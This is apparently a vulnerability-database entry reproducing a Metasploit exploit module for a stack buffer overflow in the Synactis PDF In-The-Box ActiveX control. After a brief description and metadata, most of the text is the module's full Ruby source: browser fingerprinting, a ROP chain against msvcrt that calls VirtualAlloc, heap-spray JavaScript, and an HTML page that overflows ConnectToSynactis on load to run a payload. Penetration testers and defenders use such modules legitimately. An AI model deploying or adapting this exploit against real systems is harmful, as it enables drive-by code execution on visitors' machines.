Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow

2013-06-07T01:05:08
ID MSF:EXPLOIT/WINDOWS/BROWSER/SYNACTIS_CONNECTTOSYNACTIS_BOF
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX component, specifically PDF_IN_1.ocx. When a long string of data is given to the ConnectToSynactis function, which is meant to be used for the ldCmdLine argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry class pointer saved on the stack, resulting in arbitrary code execution under the context of the user. Also note that since the WinExec function is used to call the default browser, you must be aware that: 1) The default must be Internet Explorer, and 2) when the exploit runs, another browser will pop up. Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, which is how the vulnerability was found and publicly disclosed.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "7.0",
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :classid    => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}",
  #  :method     => "ConnectToSynactis",
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :rank       => AverageRanking
  #})

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
        component, specifically PDF_IN_1.ocx.  When a long string of data is given
        to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
        argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
        class pointer saved on the stack, resulting in arbitrary code execution under the
        context of the user.

          Also note that since the WinExec function is used to call the default browser,
        you must be aware that: 1) The default must be Internet Explorer, and 2) when the
        exploit runs, another browser will pop up.

          Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,
        which is how the vulnerability was found and publicly disclosed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'h1ch4m',
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          [ 'OSVDB', '93754' ],
          [ 'EDB', '25835' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Newer setups like Win + IE8: "Object doesn't support this property or method"
          [ 'Automatic', {} ],
          [
            'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c}
          ],
          [
            # 0x20302020 = Where the heap spray will land
            # 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4
            'IE 8 on Windows XP SP3',
            { 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }
          ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'StackAdjustment' => -3500
        },
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Privileged'     => false,
      'DisclosureDate' => '2013-05-30',
      'DefaultTarget'  => 0))
  end

  def get_target(agent)
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        return t
      end
    end

    return nil
  end

  def get_payload(t, cli)
    code = payload.encoded

    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      align  = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
      # Must be null-byte-free for the spray
        chain =
        [
          t['Pivot'],
          0x41414141,
          t['Ecx'],   # To ECX
          0x77c1e844, # POP EBP # RETN [msvcrt.dll]
          0x41414141,
          0x77c1e844, # skip 4 bytes [msvcrt.dll]
          0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
          0xffffffff,
          0x77c127e5, # INC EBX # RETN [msvcrt.dll]
          0x77c127e5, # INC EBX # RETN [msvcrt.dll]
          0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
          0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
          0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
          0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
          0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
          0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
          0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
          0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
          0x77c3048a, # POP EDI # RETN [msvcrt.dll]
          0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
          0x77c46efb, # POP ESI # RETN [msvcrt.dll]
          0x77c2aacc, # JMP [EAX] [msvcrt.dll]
          0x77c3b860, # POP EAX # RETN [msvcrt.dll]
          0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
          0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
          0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
        ].pack("V*")

        p = chain + align + code

    else
      p = "\x0c" * 50 + code
    end

    p
  end

  def get_html(cli, req, target)
    js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch))
    eax  = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x"

    html = %Q|
    <html>
    <head>
    <script>
    #{js_property_spray}

    function r()
    {
      var s = unescape("#{js_p}");
      sprayHeap({shellcode:s});

      var p1 = '';
      var p2 = '';
      eax = "#{eax}";

      while (p1.length < 189)  p1 += "\\x0c";
      while (p2.length < 7000) p2 += "\\x0c";

      var obj = document.getElementById("obj");
      obj.ConnectToSynactis(p1+eax+p2);
    }
    </script>
    </head>
    <body OnLoad="r();">
    <OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT>
    </body>
    </html>
    |

    html.gsub(/^ {4}/, '')
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    target = get_target(agent)
    if target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Target selected as: #{target.name}")
    send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
  end
end